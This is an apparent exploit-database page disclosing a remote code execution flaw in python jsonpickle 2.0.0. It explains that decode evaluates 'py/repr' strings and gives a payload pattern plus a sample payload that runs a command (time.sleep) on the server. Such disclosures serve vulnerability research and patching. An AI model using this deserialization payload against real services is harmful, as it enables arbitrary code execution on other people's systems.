Lucene search
K

python jsonpickle 2.0.0 - Remote Code Execution

🗓️ 24 Feb 2021 00:00:00Reported by Adi MalyankerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 254 Views

python jsonpickle 2.0.0 - Remote Code Execution, open source language, deserialization vulnerability, arbitrary Python commands, system calls, backward compatibility, no patc

Code
# Exploit Title: python jsonpickle 2.0.0 - Remote Code Execution
# Date: 24-2-2021
# Vendor Homepage: https://jsonpickle.github.io
# Exploit Author: Adi Malyanker, Shay Reuven
# Software Link: https://github.com/jsonpickle/jsonpickle
# Version: 2.0.0
# Tested on: windows, linux

# 	Python is an open source language. jsonickle module is provided to convert objects into a serialized form, 
# 	and later recover the data back into an object. the decode is used to undeserialize serialized strings.

# 	If malicious data is deserialized, it will execute arbitrary Python commands. It is also possible to make system() calls. 
# 	the problem is in the inner function loadrepr function which eval each serialized string which contains "py/repr".

#	The vulnerability exists from the first version till the current version for backward compatibility. no patch is provided yet

#	the payload was found during our research made on deserialization functions.

# 	the pattern should be :
# 	{..{"py/repr":<the module to import>/<the command to be executed.>}..}

# 	example:

malicious = '{"1": {"py/repr": "time/time.sleep(10)"}, "2": {"py/id": 67}}'

# 	the command on the server side
some_parameter = jsonpickle.decode(malicious)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation